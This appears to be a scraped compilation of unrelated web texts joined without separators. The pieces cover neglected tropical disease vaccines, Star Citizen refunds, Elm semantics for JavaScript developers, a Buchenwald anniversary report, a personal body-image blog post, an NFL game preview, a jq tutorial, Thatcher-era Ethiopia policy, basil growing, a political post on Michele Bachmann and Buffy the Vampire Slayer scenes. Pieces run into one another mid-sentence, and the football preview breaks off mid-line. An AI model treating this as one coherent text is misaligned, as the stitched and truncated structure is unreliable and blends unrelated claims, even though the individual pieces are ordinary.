This makes the development of vaccines for the developing world and poor enclaves of the United States critically important. The Sabin Vaccine Institute, for example, is already testing new vaccines against schistosomiasis and hookworm in clinical trials in Brazil and Gabon. Closer to home, Hotez is developing vaccines with funding from the United States and Japanese governments and from institutions such as the Gates Foundation, which have already funded some needed vaccines.
But we need to know even more, says Robert Yolken of Johns Hopkins, reminding us that immense numbers of the mentally ill in poor and developing nations go undiagnosed. Moreover, we are not even aware of many pathogens that undoubtedly exist in such areas and may also cause cognitive problems.
From the mutual contagion of immigrants and citizens, to the changes in our climate, which grows ever more welcoming to subtropical pathogens, to the African winds blowing microbes our way, to the already sickened ethnic enclaves within our borders, the problem must be addressed on purely communitarian grounds. Treatment and prevention are not optional. Selectively withholding care from poor people of color is indefensible on ethical grounds, but self-interest also demands that we address NTDs, because these are now U.S. diseases. Our medical interdependence makes this everyone’s problem.The number'very, very low'
The insanely funded space game Star Citizen has been offering refunds to players following constant delays and brewing disenchantment. Its executive producer recently quit the project, the first-person shooter mode was delayed multiple times, and the team is struggling with all sorts of technical hurdles perhaps exacerbated by the expanding scope of the game as more and more crowdfunding dollars roll in. (Seriously, near $88 million? Stop)
All that said, Cloud Imperium has only issued 1,269 refunds out of 964,995 backers. Founder Chris Roberts told Polygon, "our refund numbers are very, very low compared to the rest of the industry."
"We don't publicize it, but when people reach out to us and talk to us in a rational manner, in most cases we've refunded them. We don't want people to be part of the project if they're not happy." But Roberts also noted that the team doesn't have to give out refunds, so it's hard to say what percent of the community has actually requested refunds. A message board survey with 1,173 respondees hinted at 25% at least expressing interest in there being a refund process.
One refundee spent $930 (again, how, stop) over 18 months and dozens of hours playing Star Citizen, but he still demanded a refund. Initially denied, the vocal critic went as far as lodging complaints with the Federal Trade Commission and the Better Business Bureau. Some days later, he received a full refund. Roberts noted, "there are some big, vocal people, but they're definitely a minority."
Some Star Citizen backers who claim full pledge refunds are getting their money back [Polygon]
You are logged out. Login | Sign upElm Semantics for JavaScript Developers
Max Goldstein Blocked Unblock Follow Following Aug 3, 2017
Most language tutorials start with language features: here are numbers, here are strings, in a way ever so slightly different from other languages. Not this one. I’m hunting the big game.
What I hope to do here is to walk you through the big ideas of Elm, with reference to what you already know from JS, without getting dragged down by what you actually type. There will be no code examples.
This isn’t meant to help you decide if you want to try Elm. It’s best if you have either made the leap and are asking “now what?”, or if you want you know what all the fuss is about.
I’m also not going to list all of the many things JavaScript has that Elm does not. Hoisting, prototypes, own properties, this, triple equals, and all the other weird stuff doesn’t exist in Elm. You’ll find that its semantics are actually a lot simpler than JavaScript’s!
Bread and Butter
JavaScript deserves credit as the first language to popularize first-class functions. That’s a fancy term that encompasses four specific abilities. Functions can take other functions as arguments. They can also return functions. Functions can be assigned to vari — err, constants — and placed into data structures. Finally, functions can be anonymous, by using a function literal as an expression. You’d expect no less of a “functional” language. (By the way, function declarations are syntactic sugar for assigning an anonymous function to a constant, unlike JavaScript where hoisting makes these two subtly different.)
The other major shared feature is function scope, including closures. You can define local constants (including functions) inside a function. These values are visible even when the parent function returns, if it returns a function that refers to those values. We’ll see in a bit why it’s very common to return a function.
Best Practices for Data Flow
If you know React/Redux or ngrx, these next concepts will be familiar to you. Those JavaScript frameworks are converging on a set of ideas that together specify how an application is structured, and how data flows through it. Although the ideas are distinct, the JS and Elm communities have both realized that they work really well together. Elm takes these restrictions and makes it impossible to cheat. After all: libraries cannot provide new inabilities.
The first of these inabilities is immutable data: values never change once defined. Instead you create copies of the values with your changes applied. (It’s done in a way that is less computationally expensive than you might think.) Second, stateless functions (or pure functions) are easier to debug and test than those than can read or write some global state. Except there is no global state, because that would be mutation. And if you could rebind a variable from one stateless function to another, it wouldn’t seem stateless. See how these ideas connect?
Your immutable data follow a unidirectional data flow. React showed that this was a good idea, and Angular abandoned bidirectional flow in version 2. (Redux is actually influenced by Elm, not the other way around.) Ember makes a point of templates sending actions back to their controller, not updating the values directly. And so in Elm, you receive messages at the “top” of your program and they propagate downward to define a new model, and commands. Commands are a form of managed effects, the fourth major idea. Instead of doing something like setting a timeout or making an HTTP request, you create a description of the work to be done. Like a function that returns a Promise, this description does nothing until you run it, or in Elm’s case, hand it off to the runtime to be run.
Even though the JavaScript community is converging on these ideas, they are far from standard. Every Elm package in the library uses immutable data — the same implementation even — which is more than one can say for npm.
On Your Radar
One major feature of Elm we haven’t talked about yet is its static type system. If you’re an Angular dev, you’ve probably used TypeScript. If you’re in the React ecosystem, you’ve at least heard of Flow. And just about everyone is using Babel or Webpack, so the idea of a build phase isn’t nearly as alien to this community as it once was. All that said, Elm’s type system is able to catch a lot more issues than those on top of JavaScript, which is how it delivers on no runtime errors in practice. Elm’s compiler errors are typically far more helpful than “undefined is not a function”.
JavaScript’s module systems — e.g. AMD, CommonJS, RequireJS — have been standardized into ES6 modules, so this area is less fraught with difficulty than it used to be. That said, Elm files correspond directly to modules and it works out of the box. You can control what is exposed directly at the top of the file. You can expose modules (or keep them private) in published libraries.
JavaScript developers are somewhat distrustful of the package ecosystem, for reasons that start with left and end with pad. Semantic versioning is treated as more of an ideal than standard. But in Elm, every package is semantically versioned, and this is enforced by the type system and other tooling. You can safely upgrade without worrying about breaking your code.
Because Ramda.js is a thing that exists, you may have heard of “currying”. I prefer the term “partial application” since it succinctly describes the idea of passing a function some but not all of its arguments, so that it returns another function. You can set this up either manually or with a library in JS, but it’s clunky. In Elm, every function is partially apply-able by default, and it’s something you find yourself using without much ceremony. One thing to be aware of is that Elm functions do not support optional arguments, since omitting a argument means partial application. This downside comes up in practice a lot less than you might think.
New Frontiers
If you’ve worked with Redux, you’ve had to make sure that many parts of the program agree on the string constant that names an action. More than that, you need to ensure that every one of those names is used by a reducer, somewhere. Elm solves this problem, and many more, with union types. You can define new constants that are all values of a new type, and the only values of that type. Then you can use pattern matching (like a switch statement) to handle each of these constants, and the compiler will make sure you got them all.
But union types are even more flexible than that, because each value doesn’t have to be a constant identifier. It can also carry values of other types, that is, it can be a function from one or more values to the new type. When you pattern match, you have access to those values. As a concrete example, the standard Maybe a type can be “just” a value (of type a, i.e. whatever type you like) or “nothing”. This allows Elm to handle nullable values very explicitly to avoid bugs. Functions that don’t accept Maybes a guaranteed to be passed a value of the right type, and not undefined.
Under the hood, lists are represented as singlely-linked lists (i.e. stacks), and recursion is used to do most of the work that iteration does in JavaScript. Except, you rarely recurse on a list explicitly. Instead, use the functions in the list library to map, filter, and fold (reduce) over a list. These operations were introduced to Array.prototype in ES5, so you should be familiar with them already.
Immutability means that objects in memory can only hold a reference to objects older than they are. Therefore a lot of functional data structures are tree-like. Graphs typically involve some form of IDs. Dictionaries and sets are implemented as binary search trees, and therefore their keys must be comparable.
But enough about data structures; let’s talk about views. Ember has handlebars, a template language written in separate files from JavaScript. React has JSX, with new syntax mixed in to JavaScript. Angular and vue also have their own HTML-like syntax. David Ford lays out the problems with template languages:
At some point, you will need to conditionally render some piece of content, i.e. only show some snippet of html if such and such is true. So the template language will need something that looks like an if statement. Or perhaps its a large number of conditions all revolving around a single value. So the template language will need something akin to a switch.
Then you will likely need to present some lists or tables. So the template language will need some kind of looping construct.
Eventually your templates will grow large. So you’ll need some way organize them, break them down into smaller pieces. Some way for one template to call another template. Some way to define reusable chunks of template code. The template language will need constructs for all of this.
And then you’ll need some way to format numbers and dates.
And so on.
Over time, most template languages eventually reinvent practically every feature of a general purpose programming language.
And that’s what template languages really are. They are programming languages. Usually bad programming languages.
Elm has no separate templating language. It does not even have special syntax for templates. Instead it offers every HTML tag as a function of two arguments: a list of attributes (classes, event handlers, href, etc.) and a list of children (HTML elements themselves, recursively, or a text node). Although you’ll often see these lists written as literals with square brackets, you can substitute any list function such as mapping for them. And instead of needing special components, helpers, and partials, you can extract helper functions in your views wherever it makes sense to do so, just as you would any other code.
Another major difference you’ll encounter compared to JS SPA frameworks is that there is no magic as to when your code is called. You will not have code called because it is named similarly to some other piece of code, or because it extends a provided class with mysterious behavior, or because a lifecycle hook got called. You will not have code called when you did not expect, with an inconsistent state, and no idea how to debug it. In Elm, there are only a handful of “high up” functions (primarily update and view) that are called by the runtime. All other code to run is called, eventually, by those functions. The Elm programmer has complete control over the call stack.
Collectively, these features make Elm a coherent language, and one much smaller than JavaScript even before you throw half a dozen React ecosystem libraries into the mix. Everything works well with everything else. Everything makes sense.By Madeline Chambers
BERLIN (Reuters) - The head of the European Parliament implored citizens to fight the "demons" of racism and anti-Semitism that still haunt Europe in a speech to mark the liberation of Germany's Buchenwald concentration camp 70 years ago.
Buchenwald, near the city of Weimar, was the biggest concentration camp on German soil. Set up by Hitler's SS in 1937, it held more than 250,000 Jews, Roma, homosexuals and other people not tolerated by the Nazis. More than 56,000 people died there from torture, medical experiments and starvation.
Some 80 camp survivors traveled to Weimar from Europe, the United States and Israel, joining U.S. army veterans who helped free Buchenwald on April 11, 1945. On Saturday they held a minute's silence at 3.15 pm, the time of liberation, and laid red carnations at the mustering point.
Fears are growing about anti-Semitism in Europe, underscored by the January attacks in France on Charlie Hebdo magazine and a Jewish supermarket, at a time when immigration has shot to the top of Germany's political agenda.
European Parliament President Martin Schulz said in a speech in Weimar that in the 1930s people allowed the seeds of hatred to grow in their hearts, allowing the Holocaust to happen.
"To honor the victims...We want to fight the return of demons that we thought were overcome but which still show their ugly face - racism, anti-Semitism, ultra-nationalism and intolerance," said Schulz.
He homed in on events in the eastern town of Troeglitz, where neo-Nazis are suspected of setting fire to a refugee home and whose mayor resigned because he feared an attack from right-wing radicals over his plans to house asylum seekers.
Although towns across Germany have seen similar attacks by right-wing radicals - Der Spiegel says there were 150 last year - the fire in Troeglitz caught the headlines.
"We must not let agitators and arsonists believe a silent majority stands behind them," said Schulz. "We must oppose xenophobia and say clearly that we, the majority, support refugees," he said.
The debate on immigration, caused partly by a 60 percent surge in asylum seekers to Germany last year, has been fueled by the grass-roots anti-Islam PEGIDA (Patriotic Europeans Against the Islamisation of the West) group in Dresden.
Although Germany has also seen big counter-demonstrations and its popularity has waned, Dutch far-right politician Geert Wilders is to address marchers on Monday and may boost numbers.
(Reporting by Madeline Chambers; editing by Susan Thomas)The negative thoughts have returned.
Some are uglier than others but they all have the same result: to make me feel bad for existing. The usuals are all there: I’m fat, I’m lazy, I’m chubby. These have been joined by a fresh set of insults: I’m dumb, I’m not good enough, THEY won’t like me. At first I ignored the thoughts; I’m Rachee and I rock! Sure I haven’t worked out in a while but I WORE that green dress last week and work has been better than ever; lots of new families visiting the library AND using the materials *I* have made available but, it starts again. First it’s a joke I make at my expense about the way I look. Then an excuse and a self-deprecating remark for why something I suggested didn’t/won’t/hasn’t worked out like I should. Suddenly, despite telling myself that I am larger than life, I begin to feel little and small and unimportant and bad.
There is a part of me which knows that there is a way to control my thoughts. I do feel better when I exercise. It’s not just aesthetics; I like the high I get from running and the feeling of accomplishment. But lately it’s been easier to make excuses, to insult myself and to try to hide. I know things are tight, that my breathing is heavier and that I mindlessly nibble but I compensate by telling myself the good days (while few and far between) are still good days. In order to make any kind of change I need to embrace the me that I am. Bumps, lumps, curves and all but then I hear it again. The voice telling me that it’s too late. That I have no control. That they’re all going to laugh at me (yes, my voice channels Carrie White’s mother).
This weekend I stayed home nursing a cold (major stink and side eye towards my co-worker who came to work sick but insisted her disclaimer of “everyone stay away” was good enough) and I had an opportunity to watch the movie Disfigured. This is a movie about friendship between Lydia, an overweight woman and Darcy, a recovering anorexic. At first it seems that they have nothing in common but later go on to learn that they have more similarities despite their physical differences. I totally recommend this movie to anyone who struggles with their weight, to anyone who thinks that they “know”someone and to people just looking for something out of the norm.
This movie, while a little preachy, really resonated with me. I got it; it’s all about real women. Lydia is not a size 2 (or 12) but a large woman who wants to make some changes but is just unsure about how that is going to look for her. When she approaches her Fat Acceptance Group they don’t support her thinking; they attack her ideas and accuse her of trying to change her body in a negative way instead of realizing that Lydia is looking for a new approach to accepting herself.
Lydia’s friendship with Darcy starts off rocky; both women are lonely but Lydia worries that Darcy is up to something when she offers to help. Darcy, ever the pleaser, is instrumental in helping Lydia’s group gain momentum. This causes an uneasy friendship to form. The two become closer when Lydia confesses that one of the men from the group, Bob, proposes they be friends with benefits. This arrangement goes awry and Lydia thinks the answer to her problem will be to become thin and convinces Darcy to give her anorexia lessons.
This movie neither glamorize nor demonize eating disorders. It presents them in a way that showed me that there is no easy fit, that everybody’s got their problems and that it’s hard for everyone. The movie was tough to watch. There were no easy answers, no one was demonized or made to be the villain. The movie simply laid out this message: women have complicated relationships with their bodies and there is no right or wrong way to deal with it.
I’m still figuring it out. It’s easy to let the voice win but then I have to examine why it’s loud. Am I feeling insecure about something? Unprepared? How can I help myself? It has been a slow process. I remind myself that no one cares about my breathing, that people are not judging me for not knowing every book in the collection and that no one cares if I add extra honey to my tea. I would maim someone who would dare utter words like this to The Bee and cannot understand why I am fine telling these things to myself.
I don’t have an answer but addressing it should help. It may not be an immediate solution but it beats the nasty names.
Practicing loving myself,
-r
This post is a part of Shell Things Pour Your Heart Out Wednesdays
The rules:
Write a post from the heart.
Something that has been weighing on you.
Something you feel passionately about.
Something you’ve been wanting to talk about.
A cause, a memory, a belief, a world view.
Anything.It’s Raiders Week as the San Diego Chargers return home to host their AFC West rival at Qualcomm Stadium. Kickoff on Sunday is set for 1:25pm PT
What to Watch For…
On Offense for the Chargers
With Melvin Gordon day to day with a hip strain and knee sprain, undrafted rookie running back Kenneth Farrow might be counted on to carry the load. The Houston product has 36 carries on the year for 125 yards. Meanwhile, Philip Rivers is 287 for 464 (61.9%) for 3,589 yards and 27 touchdowns for a 90.0 passer rating. He’s completed 14 passes of at least 40 yards, tying his career high. Rivers’ top weapon this year has been Tyrell Williams, who leads the team in catches (55), yards (905) and touchdowns (six). Rookie Hunter Henry is tied with Williams with six touchdowns in what has been an impressive first season for the tight end.
On Offense for the Raiders
Derek Carr has emerged as a possible MVP candidate, completing 317 of 499 passes (63.5%) for 3,492 yards, 24 touchdowns and just five picks for a 96.0 passer rating. He has a pair of top notch receivers in Amari Cooper and Michael Crabtree as each wideout has topped 70 catches on the year. Cooper boasts 73 receptions for 1,010 yards and four TDs while Crabtree has 71 receptions for 806 yards and a seven scores. Latavius Murray powers Oakland’s ground attack, churning out 656 yards on 162 carries with 12 touchdowns.
On Defense for the Chargers
Joey Bosa took over the team lead in sacks last week as the rookie now boasts 6.5 on the season. The defensive end also has 28 tackles, 12 tackles for loss, 31 QB pressures, eight QB hits and one forced fumble. Second-year linebacker Denzel Perryman leads the Bolts with 69 tackles while Casey Hayward leads the NFL with a career-high seven picks.
On Defense for the Raiders
Khalil Mack continues to evolve into one of the top defensive players in the league, ranking third in the NFL with 11.0 sacks. He’s |
Surprise! A former NBA player just admitted that he used to smoke marijuana during his time in the league.
Er, OK. So that isn’t that surprising. Not surprising at all really (especially when that player was once suspended for failing a drug test). But what is kind of surprising is that the player—Cliff Robinson, who played with the Trail Blazers, Suns, Pistons, Warriors, and Nets during his 18 years in the league—has now rebranded himself as “Uncle Spliffy” and is an advocate for weed. The 49-year-old is planning on serving as a featured speaker at the Cannabis Collaborative Conference next month and recently told KOIN 6 News that, while he feels it was “wrong” for him to smoke weed when he was in the NBA, he sees a lot of advantages to people doing it.
“I think I’ve always been an advocate for cannabis,” he says in the clip above. “It’s calming, calm my stomach, calm my nerves, so from that standpoint, I see a lot of positives.”
You can check out the video to hear him talk more about his love for weed.
Send all complaints, compliments, and tips to sportstips@complex.com.
[via KOIN 6 News]sed is a useful tool that reformats and transforms plain text. But sed is not a good match for structured data like JSON. jq is a sed-like tool that is specifically built to deal with JSON.
Install jq on OS X:
brew install jq
Or on Ubuntu:
apt-get install jq
Your packaging system probably has jq available.
In this post, I’m assuming you’re using jq version 1.5 or newer.
jq is built around filters. The simplest filter is., which echoes its input, but pretty-printed:
$ echo '{"hello":{ "greetings":"to you"}}' | jq. { "hello" : { "greetings" : "to you" } }
It’s useful for pretty-printing output from curl when you hit a JSON API, for example.
As the well-written manual points out, the simplest useful filter is.field, which pulls field out of each record:
$ echo '{"hello":{ "greetings":"to you"}}' | jq.hello { "greetings" : "to you" }
We can also do.field1.field2 for nested hashes:
$ echo '{"hello":{ "greetings":"to you"}}' | jq.hello.greetings "to you"
Let’s use jq on some real input. Here’s a Slack log in a file named 1.json :
[ { "type" : "message", "user" : "U024HFHU5", "text" : "hey there", "ts" : "1385407681.000003" }, { "type" : "message", "user" : "U024HGJ4E", "text" : "right back at you", "ts" : "1385407706.000006" } ]
To pull the text out of each Slack message from 1.json, we need to go “into” the array first with.[]. Then we can pass each object in the array to the next filter with |, and grab the text field from each object using.text :
$ jq ".[] |.text" 1.json "hey there" "right back at you"
Note that we now have plain-text representations of each value, so we could go back to sed :
$ jq ".[] |.text" 1.json | sed's/h/H/g' "Hey tHere" "rigHt back at you"
So far we’ve been pulling out fields and displaying them. Now let’s transform the JSON before displaying it. Let’s show the user and the text :
$ jq ".[] | { the_user:.user, the_text:.text }" 1.json { "the_user" : "U024HFHU5", "the_text" : "hey there" } { "the_user" : "U024HGJ4E", "the_text" : "right back at you" }
The.[] goes into the array, giving us an array of objects. Then we pass those objects to the next filter using |, and use the {} filter to construct a new object using fields from each object. We also rename user to the_user and text to the_text.
To wrap something in an array, put brackets around an expression:
$ jq "[.[] | { the_user:.user, the_text:.text }]" 1.json [ { "the_user" : "U024HFHU5", "the_text" : "hey there" }, { "the_user" : "U024HGJ4E", "the_text" : "right back at you" } ]
Note that we’re wrapping the whole expression in [], not just the {} part. If we wrapped the {} part in square brackets, that would put each object in a separate array, which we usually don’t want:
$ jq ".[] | [{ the_user:.user, the_text:.text }]" 1.json [ { "the_user" : "U024HFHU5", "the_text" : "hey there" } ] [ { "the_user" : "U024HGJ4E", "the_text" : "right back at you" } ]
Let’s say we have another JSON file, 2.json :
[ { "type" : "message", "user" : "U028H5EBL", "text" : "<@U02A8N1DS>: Can I get some help with a domain registration?", "ts" : "1418301403.001783" }, { "type" : "message", "user" : "U02A8N1DS", "text" : "Sure thing.", "ts" : "1418301427.001784" } ]
We want to print out all of the messages from 1.json and 2.json, wrapped in an array, just like we did before. Let’s run the same filter over both files:
$ jq ".[] | [{ the_user:.user, the_text:.text }]" 1.json 2.json [ { "the_user" : "U024HFHU5", "the_text" : "hey there" } ] [ { "the_user" : "U024HGJ4E", "the_text" : "right back at you" } ] [ { "the_user" : "U028H5EBL", "the_text" : "<@U02A8N1DS>: Can I get some help with a domain registration?" } ] [ { "the_user" : "U02A8N1DS", "the_text" : "Sure thing." } ]
Hey, that’s no good: the output from each file is wrapped in its own array! We want one array around the whole output, not one array per file. Fortunately, jq has an option for that: jq --slurp will smush together the arrays of messages in 1.json and 2.json and deal with them as one giant array.
Let’s see what --slurp generates before we do anything with its output:
$ jq --slurp. 1.json 2.json [ [ { "type" : "message", "user" : "U024HFHU5", "text" : "hey there", "ts" : "1385407681.000003" }, { "type" : "message", "user" : "U024HGJ4E", "text" : "right back at you", "ts" : "1385407706.000006" } ], [ { "type" : "message", "user" : "U028H5EBL", "text" : "<@U02A8N1DS>: Can I get some help with a domain registration?", "ts" : "1418301403.001783" }, { "type" : "message", "user" : "U02A8N1DS", "text" : "Sure thing.", "ts" : "1418301427.001784" } ] ]
As we can see, it wraps all of the input in one big array, so we’ll add an extra.[] when filtering to get at the objects inside:
$ jq --slurp "[.[] |.[] | { text:.text }]" 1.json 2.json [ { "text" : "hey there" }, { "text" : "right back at you" }, { "text" : "<@U02A8N1DS>: Can I get some help with a domain registration?" }, { "text" : "Sure thing." } ]
There we go. Regardless of how many files come in, the output is contained in only one array.Towards the end of 1985, at the height of the worst famine in modern Ethiopian history, Margaret Thatcher contemplated helping to topple the Ethiopian government. The documents – marked Top Secret and Personal – have now been placed in the National Archive:
The British prime minister had long made no bones about how much she disliked the military regime led by Colonel Mengistu Haile Mariam. The British government was among the most generous donors to the Ethiopian famine appeal, but the regime itself – Marxist and pro-Soviet – was exactly the kind of authority Thatcher loathed.
By late 1985 the prime minister’s patience was wearing thin. Charles Powell, her private secretary, wrote to the Foreign Office asking what steps might be taken. The FCO, taking is normal, cautious approach wrote back on 27 November saying that: “Barring an assassin’s bullet, Mengistu looks secure, and the opposition movements inside and outside Ethiopia remain deeply divided. The choice is between seeking to influence the present regime, and a policy of containment.”
This did not satisfy Thatcher at all.
“The Prime Minister continues to believe that it is not enough just to jog along in our relations with the distasteful regime in Ethiopia,” came the reply from her private office, just two days later. “If the conclusion is that our present relations offer no serious scope for exercising beneficial and positive influence, she would like serious thought given to ways in which we could make life harder for the Ethiopian regime. These might, as examples, include:”
The letter then lists four options – the first two of which were explosive.
“i) support for the rebels in Eritrea and Tigray; ii) a more active effort in conjunction with the Americans to identify and perhaps encourage opponents of Mengistu within Ethiopia”
The other two options were more conventional: asking other western powers to criticise the Ethiopian government and taking a “more robust line” when examples emerge of the abuse of aid.
The Foreign Office – and Geoffrey Howe as foreign secretary – must have found these suggestions very hard to digest. Certainly it took some more than a month for a suitable response to be drafted. “The Foreign Secretary agrees that jogging along with the Ethiopian regime would not be right,” came the reply on 10 January 1986.
But, noting that some progress was being made, the Foreign Office urged caution. Backing the rebels would – Sir Geoffrey believed – not work, driving Mengistu further into the arms of the Soviets and (a killer argument with Mrs T) it was also noted that the Eritrean and Tigrayan rebel leaders were “…as extreme in their broadly Marxist political attitudes as the Derg [the Ethiopian government].”
The letter concludes: “We do not believe that support for the rebels would work to our advantage.”
What is interesting to note is that the British government was – if this correspondence is to be believed – unaware that aid that international charities were providing through the Sudan based rebel movements was already being diverted to purchase weapons. A programme I produced for the BBC in 2010 detailed this evidence.
Bob Geldof objected – saying that none of Band Aid’s money had gone astray (a suggestion the programme never made). The BBC Trust apologised to Geldof for the apparent mistake.
I was subsequently contacted by the head of a major British aid agency who substantiated the claims that aid had gone astray, without commenting on which agency’s resources had been used to buy arms and ammunition.Some things I've noticed about basil:
1) Basil is deep-rooted. I have medium size basil plants in fairly large pots (pots which originally contained 5ft pears trees). The basil roots have grown out of the drain holes and anchored the pots to the ground. Basil roots can easily exceed 1ft of depth.
2) Basil can root from the stem like tomatoes. I discovered this while observing a sprout which had a dead spot in the stem which dried to a thread and cut off the root system from the leaves. Yet, the leaves looked healthy. It was confounding. Figuring the leaves must be drawing nutirents from the stem which was touching the ground, I covered the stem with soil and now its a full-size basil plant. Since this discovery, I hill-up my basil plants like I do tomato and potato plants. It may be possible to propagate basil by cutting off a stem and sticking it directly into the ground. Tomato plants will grow this way.
3) Like tomatoes, basil doesn't care much for an overly acid soil and appreciates a good supply of calcium for strong cell development and magnesium for the abundance of chlorophyll it produces. My basil responds well to lime, calcium nitrate, magnesium sulfate, and potassium sulfate (calcium, sulfate, magnesium, and potassium are the minerals most leached by rain, in that order).
From The World's Healthiest Foods we can see basil has a "very good" rating next to calcium and iron and a "good" rating next to magnesium and potassium. The 59mg Ca + 12mg Mg + 96 Mg K must come from somewhere. Minerals aren't manufactured.
4) Any suggestion that basil doesn't like water is absolutely false. We've had record breaking amounts of rain this year. April, May, and June were 10 inches each and we had 15 inches for July. That's a year's worth of rain in 4 months and double or triple the annual rainfall of western or midwestern states. In spite of all this water, a few days I ago I had to add 1 liter to each plant in repsonse to wilting. The plants perked up the next day and resumed growing gangbusters. The basil was the only plant I observed wilting due to lack of water, leading me to believe basil is particularly fond of water.
5) Basil is salt-sensitive. Too much KCl can wipe out a stand. The big bags of 10-10-10 and 13-13-13 are not worth much as fertilzer.
Additionally, there is not a night that passes without my basil being sopping wet... either from rain, dew, or me spraying with a water hose. If basil doesn't like to be wet at night, its hard to tell from the overwhelming production of leaves occurring on Genovese, Sweet, and Large-Leaf basil.
If basil doesn't like to grow indoors, its probably because of a small pot, lack of light, not enough water, and lack of humidity (central air and heat dries the air).On Friday, October 17th, 2008, Rep. Michele Bachmann (R- M N ) made the following
comment on national television to Chris Matthews, host of MSNBC's Hardball :
“I wish the American media would take a great look at the
views of the people in Congress and find out: Are they
pro-America or anti-America? I think people would love to
see an expose like that.”
No, Michelle, actually we would not love to see that, having already witnessed an
ugly chapter in American history that was fueled by s uch small -minded and
unconscionable t hinking.
What we would like to see, however, is your immediate departure from Congress.
I encourage Minnesota voters to cast their ballots on November 4th for Elwyn
Tinklenberg, who is opposing Rep. Bachmann in the race to represent the
state’s 6th District in the U.S. House of Representatives. Even if you do not
live in Minnesota, you can donate to Mr. Tinklenberg’s campaign by going to
t his dedicated page on the ActBlue website.
Enough i s enough.Everyone knows that Buffy the Vampire Slayer fans are the best kind of fans. We’re all so nice! My adoration for Joss Whedon’s television series has given me some incredible friends and also helped me through some really difficult times in life. It wasn’t all sunshine and rainbows in Sunnydale though, as Buffy the Vampire Slayer frequently caused audiences to cry their eyes out over what was happening on their television screens. I know that a list like this has been replicated a thousand times on other websites with several of the same moments included, but I’ve never written one of them so I’m taking this opportunity to say my piece on the subject. Buffy the Vampire Slayer was filled with countless tear-jerking moments, and these are the ten that made me sob the hardest. I’ve also linked to each specific scene (if available) in case you’re feeling masochistic and want to watch it.
***MAJOR SPOILERS for Buffy the Vampire Slayer Below***
It hurts sometimes more than we can bear. If we could live without passion, maybe we’d know some kind of peace.
-Angelus
This is the first time I ever remember crying during Buffy the Vampire Slayer (I know. I didn’t cry the first time she died. I’m soulless). It wasn’t Jenny’s death so much as it was Giles’ reaction to finding her body. You all know the story: Angelus wasn’t satisfied by simply killing Jenny. Oh no, he had to put on display for the man that loved her. Giles walks into his house to the sound of opera music and rose petals leading up the stairs to his bedroom, only to find Jenny’s corpse on the bed. The cherry on top of this was that Angelus left Giles a drawing of her to frame and put on his wall. Don’t even get me started on Buffy having to stop him from trying to kill Angelus. Ugh, this was rough, y’all.
Buffy Kills Angel (Season 2, Episode 22: “Becoming: Part 2”)
Close your eyes.
-Buffy Summers
Joss Whedon is an expert at tormenting his audience, and by that I mean killing beloved characters. Angel losing his soul and becoming Angelus is one of the greatest twists the show ever pulled off. In the second season finale, Angelus awakens the demon Acathla by pulling a sword out of its chest. He and Buffy get in a totally awesome sword fight and just as she is about to kill him he gets his soul back (thanks Willow). But it’s too late! He has already awoken Acathla and only his blood can prevent the demon from sucking the world into a Hell dimension, so she gives him a final kiss before stabbing him with the sword. If there was ever any doubt that Buffy would “go there,” this scene effectively got rid of them (and this is coming from a show that killed its title character in the first season finale).
Whenever there was a problem or something creepy happened, you seemed to show up and stop it. Most of the people here have been saved by you or helped by you at one time or another. We’re proud to say that the class of ’99 has the lowest mortality rate of any graduating class in Sunnydale history, and we know at least part of that is because of you. So the senior class offers its thanks and gives you, uh, uh, this. It’s from all of us, and it has written here, “Buffy Summers, Class Protector”.
-Jonathan Levinson
Not all tear-jerking moments have to be sad, you guys! After three years of saving the world, Buffy finally (finally!) received some recognition in the form of a sparkly gold umbrella. It was a rare win for the Slayer, and provided one of the most cathartic experiences of the series. It also has the distinction of being Sarah Michelle Gellar’s favorite episode of the series.
Buffy Finds Her Mother’s Body (Season 5, Episodes 15-16: “I Was Made to Love You” and “The Body”)
Mom? Mom? Mommy?
-Buffy Summers
Is there a better scene in any episode of Buffy the Vampire Slayer? I would argue not. The rest of the scene, which opens the next episode (aptly titled “The Body”). Filmed without sound and filmed in real time (the first three minutes of “The Body” don’t feature any cuts), Buffy’s discovery of her mother’s body it a truly disturbing piece of television and it feels all too real. If you don’t even slightly tear up while watching Buffy realize that her mother is actually dead, then you have no soul.
I don’t understand how this all happens. How we go through this. I mean, I knew her, and then she’s- There’s just a body, and I don’t understand why she just can’t get back in it and not be dead anymore. It’s stupid. It’s mortal and stupid. And-and Xander’s crying and not talking, and-and I was having fruit punch, and I thought, well, Joyce will never have any more fruit punch ever, and she’ll never have eggs, or yawn or brush her hair, not ever, and no one will explain to me why!
-Anya Christina Emmanuella Jenkins
This episode aired on my birthday, you guys. My birthday. Does this need any more explanation? Anya was typically used as the comic relief on the series (and Emma Caulfield excelled at it), but this is the first time we had ever seen Anya truly show human emotion. She had spent so much time as a demon that she forgot what it was like to lose someone close to her. The speech is almost child-like, and it proved to be one of the most memorable moments in what is arguably Buffy the Vampire Slayer’s best episode.
The hardest thing in this world is to live in it.
-Buffy Summers
Buffy already died once. Surely they wouldn’t kill her again, right? Wrong. The final episode to air on the WB before it moved to UPN served as the first series finale of Buffy the Vampire Slayer (like its titular heroine, the show would die twice). Another apocalyptic ritual requires Summers blood to stop it. Buffy realizes that she can be the sacrifice instead of Dawn, meaning that death is her gift. Could you imagine if this had actually been the series finale? I know seasons 6 and 7 have their detractors, but it would have killed me if this would have been the end of the series. It was traumatizing to lose Buffy again, but at least she got a great epitaph on her tombstone: “She saved the world. A lot.”
Dawn Cuddles With the Buffybot (Season 6, Episode 1: Bargaining, Part 1)
That’ll put marzipan in your pie plate, bingo!
-Buffybot
Dawn is frequently the figurative punching bag of Buffy fans, but she does have her moments (unless she wants you out of her room). Seeing her crawl into bed with a charging Buffybot as a method of coping with her sister’s death is so pitiful that you can’t help but empathize with her. It’s unhealthy but so, so human, and anyone who has lost someone close to them could relate. Rather than move on, you want to hang on to anything that reminds you of the person you lost. This is one of those subtle moments that is deeply affecting to watch.
Anya is Left at the Altar (Season 6, Episode 16: “Hell’s Bells”)
I, Anya, promise to love you, to cherish you, to honor you, ah, but NOT to obey you, of course, because that’s anachronistic and misogynistic and who you do you think you are, like a sea captain o-or something?
-Anya Christina Emmanuella Jenkins
I bawled my eyes out over this. Bawled. It was the moment when I started hating Xander as a character (him supporting the Potentials kicking Buffy out of the house in Season 7 sealed the deal). Look, I get that he was worried he was going to turn into his father and ruin his life with Anya, but those visions he saw were fake! He had no reason to leave her at the altar. The dissolution of Anya and Xander’s relationship will always be one of those moments that makes you want to strangle Whedon because it’s so soul-crushing.
Xander and the Yellow Crayon (Season 6, Episode 22: “Grave”)
